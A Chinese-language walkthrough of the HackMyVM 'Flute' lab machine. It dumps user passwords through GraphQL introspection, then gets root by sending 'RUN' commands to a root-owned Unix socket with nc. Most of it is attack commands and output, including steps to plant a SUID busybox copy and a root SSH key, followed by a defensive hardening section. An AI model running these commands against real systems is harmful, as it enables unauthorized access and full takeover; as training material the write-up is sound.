HackMyVM Flute 通关记录|GraphQL 凭据泄露与 Unix Socket 命令注入提权
靶机链接:Flute
0x01 基本信息
| 名称 | IP | 说明 |
|---|---|---|
| Kali Linux | 192.168.1.113 | 攻击机 |
| Flute | 192.168.1.119 | 靶机 (Alpine Linux + Apollo GraphQL) |
攻击流程
点击展开
攻击链摘要
| 阶段 | 关键操作 | 作用 |
|---|---|---|
| 端口扫描 | rustscan -a 192.168.1.119 --range 1-65535 联动 nmap -sV -sC -O | 发现 22 (SSH), 8888 (GraphQL API) |
| 信息泄露 | GraphQL Introspection 获取 Schema + users 查询 | 发现 User 类型含 username/password 字段 |
| 凭据获取 | query { users { username password } } | 获得 hamelin:comewithmerats |
| SSH 初始访问 | sshpass + hamelin 凭据登录 | 获取 user flag |
| 本地侦察 | 进程列表枚举 ps aux | 发现 root 进程 ratd.py |
| 提权分析 | 审计 /opt/ratd/ratd.py 源码 | Unix socket 777 权限 + os.system() 无过滤 |
| Root 执行 | echo "RUN cmd" | nc -U /tmp/ratd.sock | 以 root 身份执行任意命令 |
| Flag 获取 | 重定向输出到 /tmp/ 读取 | 获取 root flag |
0x02 侦察与信息收集
1. Rustscan + Nmap 全端口扫描
优先使用 RustScan 进行快速端口发现,再联动 Nmap 做服务识别和脚本扫描:
rustscan -a 192.168.1.119 --range 1-65535 -t 4000 -- -sV -sC --version-intensity 5 -O -oN nmap-initial.txt
RustScan 阶段输出:
Open 192.168.1.119:22
Open 192.168.1.119:8888
Nmap 详细扫描结果:
Nmap scan report for flute.lan (192.168.1.119)
Host is up, received arp-response (0.00061s latency).
Scanned at 2026-07-05 22:58:33 CST for 13s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 10.0 (protocol 2.0)
8888/tcp open sun-answerbook? syn-ack ttl 64
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 400 Bad Request
| Access-Control-Allow-Origin: *
| Content-Type: text/html; charset=utf-8
| Content-Length: 18
| ETag: W/"12-7JEJwpG8g89ii7CR/6hhfN27Q+k"
| Date: Sun, 05 Jul 2026 14:58:40 GMT
| Connection: close
| GET query missing.
| HTTPOptions:
| HTTP/1.1 204 No Content
| Access-Control-Allow-Origin: *
| Access-Control-Allow-Methods: GET,HEAD,PUT,PATCH,POST,DELETE
| Vary: Access-Control-Request-Headers
| Content-Length: 0
MAC Address: 08:00:27:50:C6:88 (Oracle VirtualBox virtual NIC)
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4)
Network Distance: 1 hop
开放端口汇总:
| 端口 | 服务 | 版本 |
|---|---|---|
| 22/tcp | SSH | OpenSSH 10.0 |
| 8888/tcp | HTTP API | 未知 (指纹匹配 sun-answerbook) |
2. 8888 端口指纹分析
Nmap 未能识别 8888 端口的服务,但从返回的 HTTP 头可提取关键特征:
curl -s -I http://192.168.1.119:8888/
HTTP/1.1 400 Bad Request
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET,HEAD,PUT,PATCH,POST,DELETE
Vary: Access-Control-Request-Headers
# GET 请求返回内容
curl -s http://192.168.1.119:8888/
GET query missing.
特征分析:
| 特征 | 判断 |
|---|---|
Access-Control-Allow-Origin: * | CORS 全开,典型开发/调试配置 |
Access-Control-Allow-Methods: GET,HEAD,PUT,PATCH,POST,DELETE | RESTful / GraphQL 端点 |
ETag 头 + W/ 前缀 | Express.js 弱 ETag 格式 |
GET query missing. | 需要一个名为 query 的参数——GraphQL 的典型入口 |
渗透经验:
GET query missing.这个错误信息是强特征,暗示后端期望一个名为query的 GET/POST 参数。结合 REST 动词全开 + CORS 全开,高度怀疑是 GraphQL 端点。
0x03 GraphQL 信息泄露
1. 确认 GraphQL 端点
尝试向 /graphql 路径发送带 query 参数的请求:
curl -s "http://192.168.1.119:8888/?test=1"
{
"errors": [{
"message": "GraphQL operations must contain a non-empty `query` or a `persistedQuery` extension.",
"extensions": {
"code": "INTERNAL_SERVER_ERROR",
"exception": {
"stacktrace": [
"GraphQLError: GraphQL operations must contain a non-empty `query` ...",
" at processGraphQLRequest (/home/hamelin/node_modules/apollo-server-core/dist/requestPipeline.js:73:40)",
" at async processHTTPRequest (/home/hamelin/node_modules/apollo-server-core/dist/runHttpQuery.js:222:30)"
]
}
}
}]
}
✅ 确认是 Apollo GraphQL Server。更关键的是,错误堆栈泄露了服务端的绝对路径:
- 用户目录:
/home/hamelin/ - 框架版本:
apollo-server-core(Apollo Server v3.x)
渗透经验: 生产环境绝不应向客户端返回完整错误堆栈。这里不仅暴露了 GraphQL 框架类型和版本,还泄露了服务器用户名 (
hamelin) 和项目路径。这些信息对后续攻击至关重要。
2. GraphQL Introspection 获取 Schema
Apollo Server 默认在开发模式下开启 Introspection。使用标准 Introspection 查询获取完整 Schema:
curl -s -X POST http://192.168.1.119:8888/graphql \
-H "Content-Type: application/json" \
-d '{"query":"query IntrospectionQuery { __schema { queryType { name fields { name description args { name description type { name kind ofType { name kind } } defaultValue } type { name kind ofType { name kind } } } } mutationType { name } types { name kind description fields { name } } } }"}' | jq '.data.__schema.queryType'
{
"name": "Query",
"fields": [
{
"name": "users",
"description": null,
"args": [],
"type": {
"name": null,
"kind": "LIST",
"ofType": {
"name": "User",
"kind": "OBJECT"
}
}
},
{
"name": "user",
"description": null,
"args": [
{
"name": "username",
"description": null,
"type": {
"name": null,
"kind": "NON_NULL",
"ofType": {
"name": "String",
"kind": "SCALAR"
}
},
"defaultValue": null
}
],
"type": {
"name": "User",
"kind": "OBJECT",
"ofType": null
}
}
]
}
完整 Schema 还原:
type User {
username: String
password: String # ← 敏感字段直接暴露!
}
type Query {
users: [User] # 返回所有用户
user(username: String!): User # 按用户名查询
}
关键发现:
| 发现 | 风险 |
|---|---|
User 类型包含 password 字段 | 密码作为可查询字段暴露 |
users 查询无参数、无鉴权 | 任何人可获取全部用户凭据 |
mutationType 为 null | 无变更操作,但查询已足够危险 |
| Introspection 开启 | 攻击者可完整了解数据模型 |
3. 获取凭据
curl -s -X POST http://192.168.1.119:8888/graphql \
-H "Content-Type: application/json" \
-d '{"query":"query { users { username password } }"}' | jq .
{
"data": {
"users": [
{
"username": "admin",
"password": "imtherealadmin"
},
{
"username": "hamelin",
"password": "comewithmerats"
}
]
}
}
| 用户名 | 密码 | 备注 |
|---|---|---|
admin | imtherealadmin | 管理员账号 |
hamelin | comewithmerats | 与系统用户名一致,"Come with me, rats!" —— Pied Piper 经典台词 |
趣闻:
comewithmerats这个密码源自《哈默林的花衣吹笛人》童话中吹笛人引诱老鼠的台词 "Come with me, rats!"。在渗透测试中,靶机主题往往暗示了攻击路径——这里的 "rats" 正对应后面的ratd(Rat Daemon)。
0x04 初始访问 (SSH)
1. SSH 登录
sshpass -p 'comewithmerats' ssh \
-o StrictHostKeyChecking=no \
-o UserKnownHostsFile=/dev/null \
hamelin@192.168.1.119
# 登录后立即收集信息
id && whoami && ls -la
uid=1000(hamelin) gid=1000(hamelin) groups=1000(hamelin)
hamelin
total 108
drwxr-sr-x 4 hamelin hamelin 4096 Mar 30 09:40 .
drwxr-xr-x 3 root root 4096 Mar 30 09:36 ..
lrwxrwxrwx 1 hamelin hamelin 9 Mar 30 09:38 .ash_history -> /dev/null
-rw------- 1 hamelin hamelin 9 Mar 30 09:41 .node_repl_history
drwxr-sr-x 4 hamelin hamelin 4096 Mar 30 09:38 .npm
-rw-r--r-- 1 hamelin hamelin 680 Mar 30 09:39 index.js ← 源码
drwxr-sr-x 126 hamelin hamelin 4096 Mar 30 09:39 node_modules
-rw-r--r-- 1 hamelin hamelin 77592 Mar 30 09:39 package-lock.json
-rw-r--r-- 1 hamelin hamelin 326 Mar 30 09:39 package.json
-rw------- 1 hamelin hamelin 28 Mar 30 09:38 user.txt ← FLAG!
2. 获取 User Flag
cat /home/hamelin/user.txt
HMVuser9f4ndbaz4chc6j04b3va
✅ User Flag: HMVuser9f4ndbaz4chc6j04b3va
3. 审计 GraphQL 源码
cat /home/hamelin/index.js
const { ApolloServer, gql } = require('apollo-server');
const typeDefs = gql`
type User {
username: String
password: String
}
type Query {
users: [User]
user(username: String!): User
}
`;
const users = [
{ username: "admin", password: "imtherealadmin" },
{ username: "hamelin", password: "comewithmerats" }
];
const resolvers = {
Query: {
users: () => users,
user: (_, { username }) => users.find(u => u.username === username),
}
};
const server = new ApolloServer({
typeDefs,
resolvers,
introspection: true, // ← 漏洞 #1: 生产环境启用 Introspection
playground: true // ← 漏洞 #2: 生产环境启用 Playground
});
server.listen({ port: 8888 }).then(({ url }) => {
console.log(`Running at ${url}`);
});
源码级漏洞确认:
| 问题 | 代码 | 影响 |
|---|---|---|
| 硬编码凭据 | const users = [{...}, {...}] 直接写在源码中 | 任何人可审计代码获取密码 |
| Introspection 开启 | introspection: true | 攻击者获取完整 Schema |
| Playground 开启 | playground: true | GraphQL IDE 对外暴露 |
| 无认证 | resolvers 无任何鉴权中间件 | 任何人可查询 users |
0x05 提权侦察
1. 系统信息收集
# 进程列表
ps aux
关键进程:
PID USER COMMAND
2173 hamelin /usr/bin/node /home/hamelin/index.js
2176 root /usr/bin/python3 /opt/ratd/ratd.py ← root 进程!
2171 root /usr/sbin/crond -c /etc/crontabs -f
立刻注意到 ratd.py 以 root 身份运行。
2. 常规提权向量检查
# SUID 二进制
find / -perm -4000 -type f 2>/dev/null
# → /bin/bbsuid
# sudo 权限
sudo -l
# → sh: sudo: not found (Alpine 默认无 sudo)
# Cron 任务
cat /etc/crontab && ls -la /etc/cron.*
# → 无自定义 cron 任务
# Capabilities
getcap -r / 2>/dev/null
# → 无特殊 capabilities
| 向量 | 发现 | 可利用性 |
|---|---|---|
| SUID | /bin/bbsuid | 需进一步分析 |
| Sudo | 不存在 | — |
| Cron | 无自定义任务 | — |
| Capabilities | 无 | — |
| root 进程 | ratd.py | 高优先级 |
3. bbsuid 分析(死胡同)
ls -la /bin/bbsuid
---s--x--x 1 root root 14224 Nov 21 2025 /bin/bbsuid
SUID 位已设置(s),但作为 hamelin 用户无法读取文件内容。通过 strings 分析(后以 root 提取):
/bin/busybox
--install
Only root can install symlinks
/bin/mount
/bin/umount
/bin/su
/usr/bin/crontab
/usr/bin/passwd
/usr/bin/traceroute
/usr/bin/traceroute6
/usr/bin/vlock
%s is not a valid applet
分析结论: bbsuid 是 BusyBox symlink 安装器,内含白名单 applet。关键代码逻辑:
// 伪代码还原
if (getuid() != 0) {
errx(1, "Only root can install symlinks");
}
// 验证 applet 名称在白名单中
// 创建指向 /bin/busybox 的 symlink
使用 getuid() 而非 geteuid(),因此即使有 SUID 位(effective uid=0),真实 UID 仍为 1000(hamelin),检查不通过。此路不通。
渗透经验: SUID 二进制不等于自动提权。本题的
bbsuid就是典型的"看起来有戏、实际利用不了"的干扰项。正确的提权向量是那个以 root 运行的 Python 进程。
0x06 Unix Socket 命令注入提权
1. ratd.py 源码审计
cat /opt/ratd/ratd.py
import socket
import os
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
socket_path = "/tmp/ratd.sock"
if os.path.exists(socket_path):
os.remove(socket_path)
sock.bind(socket_path)
os.chmod(socket_path, 0o777) # ← 漏洞 #1: 任何用户可读写
sock.listen(1)
print("Rat daemon running...")
while True:
conn, _ = sock.accept()
data = conn.recv(1024).decode()
if data.startswith("RUN "):
cmd = data[4:]
os.system(cmd) # ← 漏洞 #2: 直接执行,无任何过滤
conn.send(b"OK\n")
else:
conn.send(b"Unknown command\n")
conn.close()
完整漏洞分析:
| 漏洞 | 代码 | 严重度 |
|---|---|---|
| 权限过度开放 | os.chmod(socket_path, 0o777) | 🔴 严重 |
| 无认证机制 | 任何连接即可发送命令 | 🔴 严重 |
| 命令注入 | os.system(cmd) 无过滤 | 🔴 严重 |
| 无审计日志 | 无任何记录 | 🟡 中等 |
2. 利用原理
ratd.py 的运行上下文:
root (PID 2176)
│
└── /usr/bin/python3 /opt/ratd/ratd.py
│
├── 监听 /tmp/ratd.sock (mode: srwxrwxrwx)
├── 协议: 文本, \n 分隔
├── 命令: RUN <shell_command>
└── 执行: os.system() → /bin/sh -c <cmd>
攻击者 (hamelin) 只需:
echo "RUN <command>" | nc -U /tmp/ratd.sock
即可让 root 进程执行任意 shell 命令。
3. 基础验证
# 以 hamelin 身份连接 ratd socket
echo "RUN id" | nc -U /tmp/ratd.sock
OK
返回 OK,但看不到命令输出。这是因为 os.system() 将命令输出发送到子进程的 stdout,不会回传给 socket 连接。
4. 输出重定向技巧
由于 os.system() 不返回 stdout,需要将输出重定向到可读文件:
# 执行命令并重定向输出到 /tmp/
echo "RUN id > /tmp/out.txt 2>&1" | nc -U /tmp/ratd.sock
sleep 1
cat /tmp/out.txt
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
✅ 确认以 root 身份执行命令。
5. 获取 Root Flag
echo "RUN cat /root/root.txt > /tmp/rootflag.txt 2>&1" | nc -U /tmp/ratd.sock
sleep 1
cat /tmp/rootflag.txt
HMVrootoepsamqu0liphzzsc7x9
✅ Root Flag: HMVrootoepsamqu0liphzzsc7x9
6. 获取交互式 Root Shell(可选)
虽然已经拿到 flag,但在实战中获取交互式 shell 更便于后续操作:
# 方法 1: 复制 shell 并设置 SUID
echo "RUN cp /bin/busybox /tmp/bs && chmod 4777 /tmp/bs" | nc -U /tmp/ratd.sock
sleep 1
/tmp/bs sh -c 'id; cat /root/root.txt'
# 注意:Alpine 使用 BusyBox,需用 busybox 的 applet 调用方式
# 方法 2: 写入 SSH authorized_keys
echo "RUN mkdir -p /root/.ssh && echo '<your_public_key>' >> /root/.ssh/authorized_keys" | nc -U /tmp/ratd.sock
注意: Alpine Linux 使用 BusyBox 提供
/bin/sh,行为与 GNU bash 略有差异。直接复制/bin/sh后以-c参数调用可能遇到 "applet not found" 错误,需使用busybox sh方式调用。
7. 验证 Root 目录结构
echo "RUN ls -la /root/ > /tmp/rootdir.txt" | nc -U /tmp/ratd.sock
cat /tmp/rootdir.txt
total 12
drwx------ 2 root root 4096 Mar 30 09:38 .
drwxr-xr-x 21 root root 4096 Mar 30 09:35 ..
lrwxrwxrwx 1 root root 9 Mar 30 09:37 .ash_history -> /dev/null
-rw------- 1 root root 28 Mar 30 09:38 root.txt
0x07 最终成果 (Final Flags)
User Flag
- 路径:
/home/hamelin/user.txt - 内容:
HMVuser9f4ndbaz4chc6j04b3va
Root Flag
- 路径:
/root/root.txt - 内容:
HMVrootoepsamqu0liphzzsc7x9
凭据汇总
| 类型 | 用户 / 目标 | 值 | 来源 |
|---|---|---|---|
| GraphQL / SSH 密码 | admin | imtherealadmin | users { username password } 查询泄露 |
| SSH 密码 | hamelin | comewithmerats | GraphQL users 查询泄露 |
| Root 命令执行 | /tmp/ratd.sock | RUN <command> | root 进程 ratd.py 暴露 777 Unix Socket |
复盘总结
Flute 是一台入门级靶机,攻击链简洁清晰,核心考察两点:GraphQL 安全配置 和 Unix Socket 权限模型。
攻击路径回顾
端口扫描 → GraphQL Introspection → 凭据泄露 → SSH 登录 → 进程枚举
→ ratd.py 审计 → Unix Socket 命令注入 → Root Flag
关键知识点
-
GraphQL Introspection 在生产环境必须关闭。
introspection: true+playground: true是典型的开发配置残留。Nmap 无法直接识别 GraphQL 服务,但GET query missing.这个错误信息是极强的人工指纹。 -
错误堆栈信息泄露。 Apollo Server 在出错时返回了完整的服务端调用栈,暴露了用户名 (
hamelin)、框架版本 (apollo-server-core)、绝对路径 (/home/hamelin/) 等关键信息。生产环境应将错误详情限制为仅内部可见。 -
Schema 设计决定安全边界。
User类型直接包含password字段说明后端在安全建模阶段就出错了。敏感字段不应出现在可查询的 GraphQL 类型中,密码应仅在认证 resolver 内部使用,永不对外暴露。 -
硬编码凭据。 本靶机凭据写在
index.js源码中(而非环境变量),但由于 GraphQL 已直接返回密码,源码审计这一步反而成为冗余。多层漏洞叠加时,每一层都不应该存在。 -
Unix Socket 不是安全的替代品。 很多开发者认为 Unix Socket 比 TCP Socket 更安全,但实际上是两回事。
os.chmod(socket_path, 0o777)使任何本地用户可连接,加上无认证 +os.system()无过滤,构成了本地提权的完整链条。 -
SUID 二进制不等于提权。
bbsuid虽然设置了 SUID 位,但使用getuid()而非geteuid()做权限检查,是有效的防御。不是每个 SUID 二进制都能利用——这也提醒我们,应当在枚举后快速判断,避免浪费大量时间在不可利用的向量上。
防守视角
- GraphQL 生产环境安全清单:
introspection: false—— 禁用 Schema 自省playground: false—— 禁用 GraphQL Playground- 禁用详细错误堆栈 (
debug: false, 自定义formatError) - 敏感字段不应出现在 Schema 中,或通过 resolver 级鉴权保护
- 凭据管理: 凭据不应硬编码在源码中,应使用环境变量或密钥管理服务
- Unix Socket 安全加固:
- Socket 文件权限应限制为最小必要范围(如
0o660+ 特定组) - 服务端必须实现认证机制(token、挑战-响应等)
- 避免将用户输入直接传递给
os.system()或subprocess.call(shell=True) - 如需执行命令,使用白名单 + 参数化调用(
subprocess.run([...]))
- Socket 文件权限应限制为最小必要范围(如
一句话总结
如果只看一句话总结,本题的本质是:
GraphQL Introspection 凭据泄露 + Unix Socket 权限配置不当命令注入提权